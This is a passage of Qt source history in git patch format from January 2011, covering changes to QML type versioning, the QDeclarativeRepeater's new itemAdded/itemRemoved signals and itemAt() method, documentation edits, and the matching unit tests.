QVERIFY(prop2.isWritable()); QCOMPARE(prop2.name(), QByteArray("bar")); @@ -633,7 +628,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(!prop2.isUser()); QVERIFY(!prop2.hasStdCppSet()); QVERIFY(!prop2.isEnumOrFlag()); - QVERIFY(!prop2.isDynamic()); // Remove prop1 and check that prop2 becomes index 0. builder.removeProperty(0); @@ -649,7 +643,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(!prop2.isUser()); QVERIFY(!prop2.hasStdCppSet()); QVERIFY(!prop2.isEnumOrFlag()); - QVERIFY(!prop2.isDynamic()); QCOMPARE(prop2.index(), 0); // Perform index-based lookup again. @@ -673,7 +666,6 @@ void tst_QMetaObjectBuilder::property() prop2.setUser(false); \ prop2.setStdCppSet(false); \ prop2.setEnumOrFlag(false); \ - prop2.setDynamic(false); \ } while (0) #define COUNT_FLAGS() \ ((prop2.isReadable() ? 1 : 0) + \ @@ -685,8 +677,7 @@ void tst_QMetaObjectBuilder::property() (prop2.isEditable() ? 1 : 0) + \ (prop2.isUser() ? 1 : 0) + \ (prop2.hasStdCppSet() ? 1 : 0) + \ - (prop2.isEnumOrFlag() ? 1 : 0) + \ - (prop2.isDynamic() ? 1 : 0)) + (prop2.isEnumOrFlag() ? 1 : 0)) #define CHECK_FLAG(setFunc,isFunc) \ do { \ CLEAR_FLAGS(); \ @@ -705,7 +696,6 @@ void tst_QMetaObjectBuilder::property() CHECK_FLAG(setUser, isUser); CHECK_FLAG(setStdCppSet, hasStdCppSet); CHECK_FLAG(setEnumOrFlag, isEnumOrFlag); - CHECK_FLAG(setDynamic, isDynamic); // Check that nothing else changed. QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::Properties)); -- cgit v0.12 From 810eb8e2bf52a30632abc42618b7f9f4352e2dd9 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Wed, 5 Jan 2011 14:01:44 +1000 Subject: Add missing test data file --- .../auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml new file mode 100644 index 0000000..4dbcc02 --- /dev/null +++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml @@ -0,0 +1,8 @@ +import QtQuick 1.0 + +XmlListModel { + query: "/data" + XmlRole { name: "stringValue"; query: "a-string/string()" } + XmlRole { name: "numberValue"; query: "a-number/number()" } +} + -- cgit v0.12 From c3a4ce70e588620393a9a4189f3e429622103406 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 5 Jan 2011 17:52:36 +1000 Subject: Test importing version > registered with a matching base class rev. Consieder the case of a BaseClass registered with version 1.1 and the created Class registered with version 1.0. When version 1.1 is imported the Class should be able to use BaseClass properties from version 1.1. This currently fails. Task-number: QTBUG-13451 --- .../qdeclarativelanguage/data/versionedbase.qml | 8 +++++++ .../declarative/qdeclarativelanguage/testtypes.cpp | 3 +++ .../declarative/qdeclarativelanguage/testtypes.h | 26 ++++++++++++++++++++++ .../tst_qdeclarativelanguage.cpp | 17 +++++++++++++- 4 files changed, 53 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml diff --git a/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml b/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml new file mode 100644 index 0000000..8c74715 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml @@ -0,0 +1,8 @@ +import QtQuick 1.0 +import Test 1.1 + +MySubclass +{ + prop1: 10 + prop2: 10 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp index 217f54a..18e3885 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp @@ -62,6 +62,9 @@ void registerTypes() // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1 qmlRegisterType("Test",1,1,"MyRevisionedSubclass"); + // Only version 1.0, but its super class is registered in version 1.1 also + qmlRegisterType("Test",1,0,"MySubclass"); + qmlRegisterCustomType("Test", 1, 0, "MyCustomParserType", new MyCustomParserTypeParser); qmlRegisterTypeNotAvailable("Test",1,0,"UnavailableType", "UnavailableType is unavailable for testing"); diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h index 4508d01..48055e8 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h @@ -757,10 +757,36 @@ protected: qreal m_p4; }; +class MySubclass : public MyRevisionedClass +{ + Q_OBJECT + Q_PROPERTY(qreal prop5 READ prop5 WRITE setProp5 NOTIFY prop5Changed) + +public: + MySubclass() : m_p5(5) {} + + qreal prop5() const { return m_p5; } + void setProp5(qreal p) { + if (p != m_p5) { + m_p5 = p; + emit prop5Changed(); + } + } + + Q_INVOKABLE void method5() { } + +signals: + void prop5Changed(); + +protected: + qreal m_p5; +}; + QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered) QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered) QML_DECLARE_TYPE(MyRevisionedClass) QML_DECLARE_TYPE(MyRevisionedSubclass) +QML_DECLARE_TYPE(MySubclass) diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 298d802..a139d5e 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -1935,7 +1935,8 @@ void tst_qdeclarativelanguage::revisions() delete object; } { - QDeclarativeComponent component(&engine, TEST_FILE("revisionssub11.qml")); + QDeclarativeEngine myEngine; + QDeclarativeComponent component(&myEngine, TEST_FILE("revisionssub11.qml")); VERIFY_ERRORS(0); MyRevisionedSubclass *object = qobject_cast(component.create()); @@ -1948,6 +1949,20 @@ void tst_qdeclarativelanguage::revisions() delete object; } + { + // If this is uncommented it will work + // qmlRegisterType("Test",1,1,"MySubclass"); + QDeclarativeComponent component(&engine, TEST_FILE("versionedbase.qml")); + QEXPECT_FAIL("", "Class version 1.0 with base class version 1.1 registered", Abort); + VERIFY_ERRORS(0); + MySubclass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(object->prop1(), 10.0); + QCOMPARE(object->prop2(), 10.0); + + delete object; + } } void tst_qdeclarativelanguage::initTestCase() -- cgit v0.12 From 5c11ca38c441dd0e4e105ca0b5372dc917cf31b1 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 6 Jan 2011 10:56:06 +1000 Subject: Ensure QDeclarativePrivate::RegisterType version is updated and checked. Also exclude from bic check since we expect its size to increase from time to time. Task-number: QTBUG-13451 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarative.h | 4 ++-- src/declarative/qml/qdeclarativemetatype.cpp | 3 ++- src/declarative/qml/qdeclarativeprivate.h | 1 + tests/auto/bic/tst_bic.cpp | 3 +++ 4 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/qdeclarative.h b/src/declarative/qml/qdeclarative.h index 8a6d068..cdd7202 100644 --- a/src/declarative/qml/qdeclarative.h +++ b/src/declarative/qml/qdeclarative.h @@ -199,7 +199,7 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c QByteArray listName("QDeclarativeListProperty<" + name + ">"); QDeclarativePrivate::RegisterType type = { - 1, + 2, qRegisterMetaType(pointerName.constData()), qRegisterMetaType >(listName.constData()), @@ -233,7 +233,7 @@ int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) QByteArray listName("QDeclarativeListProperty<" + name + ">"); QDeclarativePrivate::RegisterType type = { - 1, + 2, qRegisterMetaType(pointerName.constData()), qRegisterMetaType >(listName.constData()), diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index 1f387c4..e90fa40 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -200,7 +200,8 @@ QDeclarativeType::QDeclarativeType(int index, const QDeclarativePrivate::Registe d->m_name = name; d->m_version_maj = type.versionMajor; d->m_version_min = type.versionMinor; - d->m_revision = type.revision; + if (type.version > 1) // revisions added in version 2 + d->m_revision = type.revision; d->m_typeId = type.typeId; d->m_listId = type.listId; d->m_allocationSize = type.objectSize; diff --git a/src/declarative/qml/qdeclarativeprivate.h b/src/declarative/qml/qdeclarativeprivate.h index a4fc4c1..981df78 100644 --- a/src/declarative/qml/qdeclarativeprivate.h +++ b/src/declarative/qml/qdeclarativeprivate.h @@ -215,6 +215,7 @@ namespace QDeclarativePrivate QDeclarativeCustomParser *customParser; int revision; + // If this is extended ensure "version" is bumped!!! }; struct RegisterInterface { diff --git a/tests/auto/bic/tst_bic.cpp b/tests/auto/bic/tst_bic.cpp index cd1d5ca..74fa252 100644 --- a/tests/auto/bic/tst_bic.cpp +++ b/tests/auto/bic/tst_bic.cpp @@ -135,6 +135,9 @@ tst_Bic::tst_Bic() /* This structure is semi-private and should never shrink */ bic.addBlacklistedClass(QLatin1String("QVFbHeader")); + + /* This structure has a version field that allows extension */ + bic.addBlacklistedClass(QLatin1String("QDeclarativePrivate::RegisterType")); } void tst_Bic::initTestCase_data() -- cgit v0.12 From fa5c838636a8cf4e483706696d19afef495da994 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 6 Jan 2011 11:10:38 +1000 Subject: Fix version in previous commit. Had already been bumped. The version had already been bumped from 0 to 1. Only the version check was required. Task-number: QTBUG-13451 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarative.h | 4 ++-- src/declarative/qml/qdeclarativemetatype.cpp | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/qdeclarative.h b/src/declarative/qml/qdeclarative.h index cdd7202..8a6d068 100644 --- a/src/declarative/qml/qdeclarative.h +++ b/src/declarative/qml/qdeclarative.h @@ -199,7 +199,7 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c QByteArray listName("QDeclarativeListProperty<" + name + ">"); QDeclarativePrivate::RegisterType type = { - 2, + 1, qRegisterMetaType(pointerName.constData()), qRegisterMetaType >(listName.constData()), @@ -233,7 +233,7 @@ int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) QByteArray listName("QDeclarativeListProperty<" + name + ">"); QDeclarativePrivate::RegisterType type = { - 2, + 1, qRegisterMetaType(pointerName.constData()), qRegisterMetaType >(listName.constData()), diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index e90fa40..48a63bb 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -200,7 +200,7 @@ QDeclarativeType::QDeclarativeType(int index, const QDeclarativePrivate::Registe d->m_name = name; d->m_version_maj = type.versionMajor; d->m_version_min = type.versionMinor; - if (type.version > 1) // revisions added in version 2 + if (type.version >= 1) // revisions added in version 1 d->m_revision = type.revision; d->m_typeId = type.typeId; d->m_listId = type.listId; -- cgit v0.12 From c1a87921c8a85d5ecee9aba3b3578ae8d042c28a Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Thu, 6 Jan 2011 14:22:35 +1000 Subject: Add Repeater itemAdded(), itemRemoved() signals and itemAt() method Task-number: QTBUG-15161 Reviewed-by: Martin Jones --- doc/src/declarative/qdeclarativemodels.qdoc | 4 +- .../graphicsitems/qdeclarativerepeater.cpp | 123 ++++++++---- .../graphicsitems/qdeclarativerepeater_p.h | 6 + .../tst_qdeclarativerepeater.cpp | 216 +++++++++++++++++++-- 4 files changed, 293 insertions(+), 56 deletions(-) diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index e11cd56..9fc6696 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -161,7 +161,7 @@ while QAbstractItemModel provides a more flexible solution for more complex models. -\section2 QStringList +\section2 QStringList-based model A model may be a simple QStringList, which provides the contents of the list via the \e modelData role. @@ -182,7 +182,7 @@ have changed. If the QStringList changes, it will be necessary to reset the model by calling QDeclarativeContext::setContextProperty() again. -\section2 QList +\section2 QObjectList-based model A list of QObject* values can also be used as a model. A QList provides the properties of the objects in the list as roles. diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp index 6f46c7b..fa684c1 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp +++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp @@ -84,43 +84,23 @@ QDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate() \image repeater-simple.png - The \l model of a Repeater can be any of the supported \l {qmlmodels}{Data Models}. + A Repeater's \l model can be any of the supported \l {qmlmodels}{data models}. + Additionally, like delegates for other views, a Repeater delegate can access + its index within the repeater, as well as the model data relevant to the + delegate. See the \l delegate property documentation for details. Items instantiated by the Repeater are inserted, in order, as children of the Repeater's parent. The insertion starts immediately after the repeater's position in its parent stacking list. This allows a Repeater to be used inside a layout. For example, the following Repeater's items are stacked between a red rectangle and a blue rectangle: - + \snippet doc/src/snippets/declarative/repeaters/repeater.qml layout \image repeater.png - \section2 The \c index and \c modelData properties - - The index of a delegate is exposed as an accessible \c index property in the delegate. - Properties of the model are also available depending upon the type of \l {qmlmodels}{Data Model}. - - Here is a Repeater that uses the \c index property inside the instantiated items: - - \table - \row - \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index - \o \image repeater-index.png - \endtable - - Here is another Repeater that uses the \c modelData property to reference the data for a - particular index: - - \table - \row - \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata - \o \image repeater-modeldata.png - \endtable - - - A Repeater item owns all items it instantiates. Removing or dynamically destroying + \note A Repeater item owns all items it instantiates. Removing or dynamically destroying an item created by a Repeater results in unpredictable behavior. @@ -146,6 +126,27 @@ QDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate() \endcode */ +/*! + \qmlsignal Repeater::onItemAdded(int index, Item item) + \since Quick 1.1 + + This handler is called when an item is added to the repeater. The \a index + parameter holds the index at which the item has been inserted within the + repeater, and the \a item parameter holds the \l Item that has been added. +*/ + +/*! + \qmlsignal Repeater::onItemRemoved(int index, Item item) + \since Quick 1.1 + + This handler is called when an item is removed from the repeater. The \a index + parameter holds the index at which the item was removed from the repeater, + and the \a item parameter holds the \l Item that was removed. + + Do not keep a reference to \a item if it was created by this repeater, as + in these cases it will be deleted shortly after the handler is called. +*/ + QDeclarativeRepeater::QDeclarativeRepeater(QDeclarativeItem *parent) : QDeclarativeItem(*(new QDeclarativeRepeaterPrivate), parent) { @@ -160,26 +161,16 @@ QDeclarativeRepeater::~QDeclarativeRepeater() The model providing data for the repeater. - This property can be set to any of the following: + This property can be set to any of the supported \l {qmlmodels}{data models}: \list - \o A number that indicates the number of delegates to be created + \o A number that indicates the number of delegates to be created by the repeater \o A model (e.g. a ListModel item, or a QAbstractItemModel subclass) \o A string list \o An object list \endlist - In each case, the data element and the index is exposed to each instantiated - component. The index is always exposed as an accessible \c index property. - In the case of an object or string list, the data element (of type string - or object) is available as the \c modelData property. In the case of a Qt model, - all roles are available as named properties just like in the view classes. - - As a special case the model can also be merely a number. In this case it will - create that many instances of the component. They will also be assigned an index - based on the order they are created. - - Models can also be created directly in QML, using a \l{ListModel} or \l{XmlListModel}. + The type of model affects the properties that are exposed to the \l delegate. \sa {qmlmodels}{Data Models} */ @@ -243,8 +234,33 @@ void QDeclarativeRepeater::setModel(const QVariant &model) \default The delegate provides a template defining each item instantiated by the repeater. - The index is exposed as an accessible \c index property. Properties of the - model are also available depending upon the type of \l {qmlmodels}{Data Model}. + + Delegates are exposed to a read-only \c index property that indicates the index + of the delegate within the repeater. For example, the following \l Text delegate + displays the index of each repeated item: + + \table + \row + \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index + \o \image repeater-index.png + \endtable + + If the \l model is a \l{QStringList-based model}{string list} or + \l{QObjectList-based model}{object list}, the delegate is also exposed to + a read-only \c modelData property that holds the string or object data. For + example: + + \table + \row + \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata + \o \image repeater-modeldata.png + \endtable + + If the \l model is a model object (such as a \l ListModel) the delegate + can access all model roles as named properties, in the same way that delegates + do for view classes like ListView. + + \sa {QML Data Models} */ QDeclarativeComponent *QDeclarativeRepeater::delegate() const { @@ -288,6 +304,21 @@ int QDeclarativeRepeater::count() const return 0; } +/*! + \qmlmethod Item Repeater::itemAt(index) + \since Quick 1.1 + + Returns the \l Item that has been created at the given \a index, or \c null + if no item exists at \a index. +*/ +QDeclarativeItem *QDeclarativeRepeater::itemAt(int index) const +{ + Q_D(const QDeclarativeRepeater); + if (index >= 0 && index < d->deletables.count()) + return d->deletables[index]; + return 0; + +} void QDeclarativeRepeater::componentComplete() { @@ -309,8 +340,13 @@ QVariant QDeclarativeRepeater::itemChange(GraphicsItemChange change, void QDeclarativeRepeater::clear() { Q_D(QDeclarativeRepeater); + bool complete = isComponentComplete(); + if (d->model) { - foreach (QDeclarativeItem *item, d->deletables) { + while (d->deletables.count() > 0) { + QDeclarativeItem *item = d->deletables.takeLast(); + if (complete) + emit itemRemoved(d->deletables.count()-1, item); d->model->release(item); } } @@ -335,6 +371,7 @@ void QDeclarativeRepeater::regenerate() item->setParentItem(parentItem()); item->stackBefore(this); d->deletables << item; + emit itemAdded(ii, item); } } } @@ -355,6 +392,7 @@ void QDeclarativeRepeater::itemsInserted(int index, int count) else item->stackBefore(this); d->deletables.insert(modelIndex, item); + emit itemAdded(modelIndex, item); } } emit countChanged(); @@ -367,6 +405,7 @@ void QDeclarativeRepeater::itemsRemoved(int index, int count) return; while (count--) { QDeclarativeItem *item = d->deletables.takeAt(index); + emit itemRemoved(index, item); if (item) d->model->release(item); else diff --git a/src/declarative/graphicsitems/qdeclarativerepeater_p.h b/src/declarative/graphicsitems/qdeclarativerepeater_p.h index ff58fa0..62552a6 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater_p.h +++ b/src/declarative/graphicsitems/qdeclarativerepeater_p.h @@ -72,10 +72,16 @@ public: int count() const; + Q_INVOKABLE Q_REVISION(1) QDeclarativeItem *itemAt(int index) const; + Q_SIGNALS: void modelChanged(); void delegateChanged(); void countChanged(); + + Q_REVISION(1) void itemAdded(int index, QDeclarativeItem *item); + Q_REVISION(1) void itemRemoved(int index, QDeclarativeItem *item); + private: void clear(); void regenerate(); diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp index 91a4d68..1b38c11 100644 --- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp +++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp @@ -69,8 +69,11 @@ private slots: void numberModel(); void objectList(); void stringList(); - void dataModel(); + void dataModel_adding(); + void dataModel_removing(); + void dataModel_changes(); void itemModel(); + void resetModel(); void properties(); private: @@ -186,6 +189,11 @@ void tst_QDeclarativeRepeater::numberModel() QVERIFY(repeater != 0); QCOMPARE(repeater->parentItem()->childItems().count(), 5+1); + QVERIFY(!repeater->itemAt(-1)); + for (int i=0; icount(); i++) + QCOMPARE(repeater->itemAt(i), repeater->parentItem()->childItems().at(i)); + QVERIFY(!repeater->itemAt(repeater->count())); + QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties"); QVERIFY(testObject->error() == false); @@ -223,6 +231,17 @@ void tst_QDeclarativeRepeater::objectList() QCOMPARE(repeater->property("errors").toInt(), 0);//If this fails either they are out of order or can't find the object's data QCOMPARE(repeater->property("instantiated").toInt(), 100); + QVERIFY(!repeater->itemAt(-1)); + for (int i=0; iitemAt(i), repeater->parentItem()->childItems().at(i)); + QVERIFY(!repeater->itemAt(data.count())); + + QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); + QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); + ctxt->setContextProperty("testData", QVariant::fromValue(data)); + QCOMPARE(addedSpy.count(), data.count()); + QCOMPARE(removedSpy.count(), data.count()); + qDeleteAll(data); delete canvas; } @@ -284,7 +303,69 @@ void tst_QDeclarativeRepeater::stringList() delete canvas; } -void tst_QDeclarativeRepeater::dataModel() +void tst_QDeclarativeRepeater::dataModel_adding() +{ + QDeclarativeView *canvas = createView(); + QDeclarativeContext *ctxt = canvas->rootContext(); + TestObject *testObject = new TestObject; + ctxt->setContextProperty("testObject", testObject); + + TestModel testModel; + ctxt->setContextProperty("testData", &testModel); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml")); + qApp->processEvents(); + + QDeclarativeRepeater *repeater = findItem(canvas->rootObject(), "repeater"); + QVERIFY(repeater != 0); + QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); + QVERIFY(container != 0); + + QVERIFY(!repeater->itemAt(0)); + + QSignalSpy countSpy(repeater, SIGNAL(countChanged())); + QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); + + // add to empty model + testModel.addItem("two", "2"); + QCOMPARE(repeater->itemAt(0), container->childItems().at(0)); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(addedSpy.count(), 1); + QCOMPARE(addedSpy.at(0).at(0).toInt(), 0); + QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(0)); + addedSpy.clear(); + + // insert at start + testModel.insertItem(0, "one", "1"); + QCOMPARE(repeater->itemAt(0), container->childItems().at(0)); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(addedSpy.count(), 1); + QCOMPARE(addedSpy.at(0).at(0).toInt(), 0); + QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(0)); + addedSpy.clear(); + + // insert at end + testModel.insertItem(2, "four", "4"); + QCOMPARE(repeater->itemAt(2), container->childItems().at(2)); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(addedSpy.count(), 1); + QCOMPARE(addedSpy.at(0).at(0).toInt(), 2); + QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(2)); + addedSpy.clear(); + + // insert in middle + testModel.insertItem(2, "three", "3"); + QCOMPARE(repeater->itemAt(2), container->childItems().at(2)); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(addedSpy.count(), 1); + QCOMPARE(addedSpy.at(0).at(0).toInt(), 2); + QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(2)); + addedSpy.clear(); + + delete testObject; + delete canvas; +} + +void tst_QDeclarativeRepeater::dataModel_removing() { QDeclarativeView *canvas = createView(); QDeclarativeContext *ctxt = canvas->rootContext(); @@ -295,28 +376,84 @@ void tst_QDeclarativeRepeater::dataModel() testModel.addItem("one", "1"); testModel.addItem("two", "2"); testModel.addItem("three", "3"); + testModel.addItem("four", "4"); + testModel.addItem("five", "5"); ctxt->setContextProperty("testData", &testModel); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml")); qApp->processEvents(); QDeclarativeRepeater *repeater = findItem(canvas->rootObject(), "repeater"); QVERIFY(repeater != 0); - QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); QVERIFY(container != 0); + QCOMPARE(container->childItems().count(), repeater->count()+1); + + QSignalSpy countSpy(repeater, SIGNAL(countChanged())); + QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); + + // remove at start + QDeclarativeItem *item = repeater->itemAt(0); + QCOMPARE(item, container->childItems().at(0)); + + testModel.removeItem(0); + QVERIFY(repeater->itemAt(0) != item); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(removedSpy.count(), 1); + QCOMPARE(removedSpy.at(0).at(0).toInt(), 0); + QCOMPARE(removedSpy.at(0).at(1).value(), item); + removedSpy.clear(); + + // remove at end + int lastIndex = testModel.count()-1; + item = repeater->itemAt(lastIndex); + QCOMPARE(item, container->childItems().at(lastIndex)); + + testModel.removeItem(lastIndex); + QVERIFY(repeater->itemAt(lastIndex) != item); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(removedSpy.count(), 1); + QCOMPARE(removedSpy.at(0).at(0).toInt(), lastIndex); + QCOMPARE(removedSpy.at(0).at(1).value(), item); + removedSpy.clear(); + + // remove from middle + item = repeater->itemAt(1); + QCOMPARE(item, container->childItems().at(1)); + + testModel.removeItem(1); + QVERIFY(repeater->itemAt(lastIndex) != item); + QCOMPARE(countSpy.count(), 1); countSpy.clear(); + QCOMPARE(removedSpy.count(), 1); + QCOMPARE(removedSpy.at(0).at(0).toInt(), 1); + QCOMPARE(removedSpy.at(0).at(1).value(), item); + removedSpy.clear(); - QCOMPARE(container->childItems().count(), 4); + delete testObject; + delete canvas; +} - QSignalSpy repeaterSpy(repeater, SIGNAL(countChanged())); - testModel.addItem("four", "4"); - QCOMPARE(container->childItems().count(), 5); - QCOMPARE(repeaterSpy.count(),1); +void tst_QDeclarativeRepeater::dataModel_changes() +{ + QDeclarativeView *canvas = createView(); + QDeclarativeContext *ctxt = canvas->rootContext(); + TestObject *testObject = new TestObject; + ctxt->setContextProperty("testObject", testObject); - testModel.removeItem(2); - QCOMPARE(container->childItems().count(), 4); - QCOMPARE(repeaterSpy.count(),2); + TestModel testModel; + testModel.addItem("one", "1"); + testModel.addItem("two", "2"); + testModel.addItem("three", "3"); + + ctxt->setContextProperty("testData", &testModel); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml")); + qApp->processEvents(); + + QDeclarativeRepeater *repeater = findItem(canvas->rootObject(), "repeater"); + QVERIFY(repeater != 0); + QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); + QVERIFY(container != 0); + QCOMPARE(container->childItems().count(), repeater->count()+1); // Check that model changes are propagated QDeclarativeText *text = findItem(canvas->rootObject(), "myName", 1); @@ -377,6 +514,61 @@ void tst_QDeclarativeRepeater::itemModel() delete canvas; } +void tst_QDeclarativeRepeater::resetModel() +{ + QDeclarativeView *canvas = createView(); + + QStringList dataA; + for (int i=0; i<10; i++) + dataA << QString::number(i); + + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testData", dataA); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater1.qml")); + qApp->processEvents(); + QDeclarativeRepeater *repeater = findItem(canvas->rootObject(), "repeater"); + QVERIFY(repeater != 0); + QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); + QVERIFY(container != 0); + + QCOMPARE(repeater->count(), dataA.count()); + + QSignalSpy countSpy(repeater, SIGNAL(countChanged())); + QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); + QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); + + QStringList dataB; + for (int i=0; i<20; i++) + dataB << QString::number(i); + + // reset context property + ctxt->setContextProperty("testData", dataB); + QCOMPARE(repeater->count(), dataB.count()); + + QCOMPARE(countSpy.count(), 1); + QCOMPARE(removedSpy.count(), dataA.count()); + QCOMPARE(addedSpy.count(), dataB.count()); + for (int i=0; i(), repeater->itemAt(i)); + } + countSpy.clear(); + removedSpy.clear(); + addedSpy.clear(); + + // reset via setModel() + repeater->setModel(dataA); + QCOMPARE(repeater->count(), dataA.count()); + + QCOMPARE(countSpy.count(), 1); + QCOMPARE(removedSpy.count(), dataB.count()); + QCOMPARE(addedSpy.count(), dataA.count()); + for (int i=0; i(), repeater->itemAt(i)); + } +} + void tst_QDeclarativeRepeater::properties() { QDeclarativeEngine engine; -- cgit v0.12 From c527a1ee371c4758776217e7d16c75e20fe6f5aa Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Fri, 7 Jan 2011 10:24:54 +1000 Subject: Fix to register Repeater for QtQuick 1.1 Task-number: QTBUG-15161 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativeitemsmodule.cpp | 4 ++ .../tst_qdeclarativerepeater.cpp | 46 ++++++++++++++++++++++ 2 files changed, 50 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index a462763..f06b256 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -175,6 +175,10 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType(); #endif + // QtQuick 1.1 items + qmlRegisterType("QtQuick",1,1,"Repeater"); + + qmlRegisterUncreatableType("QtQuick",1,0,"KeyNavigation",QDeclarativeKeyNavigationAttached::tr("KeyNavigation is only available via attached properties")); qmlRegisterUncreatableType("QtQuick",1,0,"Keys",QDeclarativeKeysAttached::tr("Keys is only available via attached properties")); diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp index 1b38c11..0629076 100644 --- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp +++ 